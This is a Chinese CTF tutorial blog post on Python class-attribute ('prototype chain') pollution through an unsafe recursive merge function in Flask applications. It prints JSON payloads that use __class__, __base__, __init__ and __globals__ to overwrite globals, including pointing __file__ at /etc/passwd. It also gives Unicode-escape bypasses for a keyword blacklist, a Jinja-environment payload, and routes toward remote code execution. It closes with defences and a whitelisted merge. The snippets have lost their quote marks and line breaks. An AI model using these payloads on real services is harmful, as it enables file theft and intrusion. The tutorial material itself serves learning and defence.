【CTF实战】Python原型链污染:从原理到Flask应用漏洞挖掘

张开发
2026/4/3 23:53:37 15 分钟阅读
【CTF实战】Python原型链污染:从原理到Flask应用漏洞挖掘
1. Python原型链污染原理剖析第一次听说Python原型链污染这个概念时我正参加一场CTF比赛当时完全摸不着头脑。后来经过多次实战和研究才发现这其实是个非常有趣的漏洞类型。简单来说原型链污染就是通过修改对象的原型属性影响程序原本的执行逻辑。Python中每个对象都有一个原型prototype这个原型上定义了对象可以访问的属性和方法。当访问某个属性时解释器会先在对象自身查找如果找不到就会沿着原型链向上查找。举个例子class Father: secret flag{test} class Son(Father): pass print(Son.secret) # 输出: flag{test}这里Son类继承了Father类当访问Son.secret时由于Son自身没有这个属性解释器就会去父类Father中查找。原型链污染就是利用这个机制通过某种方式修改原型链上的属性值。2. 漏洞利用关键merge函数分析在CTF实战中90%的原型链污染漏洞都源于不安全的对象合并操作。我见过最常见的危险模式就是下面这种merge函数def merge(src, dst): for k, v in src.items(): if hasattr(dst, __getitem__): if dst.get(k) and type(v) dict: merge(v, dst.get(k)) else: dst[k] v elif hasattr(dst, k) and type(v) dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v)这个函数的问题在于它会递归地合并两个对象的属性。假设我们控制src参数就可以通过精心构造的payload污染目标对象的原型链。比如payload { __class__: { __base__: { secret: hacked! } } }当这个payload被merge到一个实例上时它会沿着__class__找到对象的类再通过__base__找到父类最后修改父类的secret属性。这种污染是持久性的会影响所有继承该父类的子类实例。3. Flask应用中的实战案例去年DSACTF的EzFlask题目就是个典型例子。题目提供了一个Flask web应用其中包含注册功能app.route(/register, methods[POST]) def register(): if request.data: try: data json.loads(request.data) User user() merge(data, User) # 危险操作 Users.append(User) return Register Success关键点在于merge操作直接使用了用户可控的JSON数据。通过分析我发现可以利用__globals__属性来污染全局变量payload { username: admin, password: 123456, __init__: { __globals__: { __file__: /etc/passwd # 目标读取的文件 } } }这个payload会通过__init__访问实例的初始化方法通过__globals__获取方法所在的全局命名空间修改全局变量__file__的值4. 绕过黑名单的高级技巧在实际CTF比赛中出题人往往会设置一些过滤机制。比如EzFlask中就有一个黑名单black_list [__init__.encode(), __globals__.encode()]这时候就需要一些绕过技巧。我常用的方法包括Unicode编码绕过\u005F\u005F\u0069\u006E\u0069\u0074\u005F\u005F属性拼接getattr(obj, __init__)利用其他魔术方法如__class__、__base__等一个实用的payload构造模板{ 常规字段: 正常值, 污染入口: { 链式属性: { 目标属性: 恶意值 } } }5. 从文件读取到RCE的完整攻击链在拿下文件读取能力后通常需要进一步实现RCE。我总结了几种常见思路环境变量泄露读取/proc/self/environ获取敏感信息模板注入如果应用使用模板引擎可以污染模板相关变量模块导入劫持修改__import__或sys.path等属性函数覆盖污染os.system等危险函数的引用比如在Flask中可以尝试污染app.jinja_env相关属性来实现模板注入payload { __init__: { __globals__: { app: { jinja_env: { variable_start_string: {{ } } } } }6. 防御措施与最佳实践根据我的实战经验要防范原型链污染开发者应该避免使用不安全的对象合并操作对用户输入进行严格过滤特别是魔术方法名使用不可变数据类型作为配置项最小化对象的原型链继承层级安全的merge函数实现应该包含属性白名单检查def safe_merge(src, dst, allowed_keys): for k, v in src.items(): if k not in allowed_keys: continue if isinstance(v, dict) and isinstance(dst.get(k), dict): safe_merge(v, dst[k], allowed_keys) else: dst[k] v在CTF比赛中遇到这类题目时我的标准解题流程是寻找存在merge操作的接口分析目标对象的原型链结构确定要污染的关键属性构造绕过payload逐步扩大攻击面实现最终目标

更多文章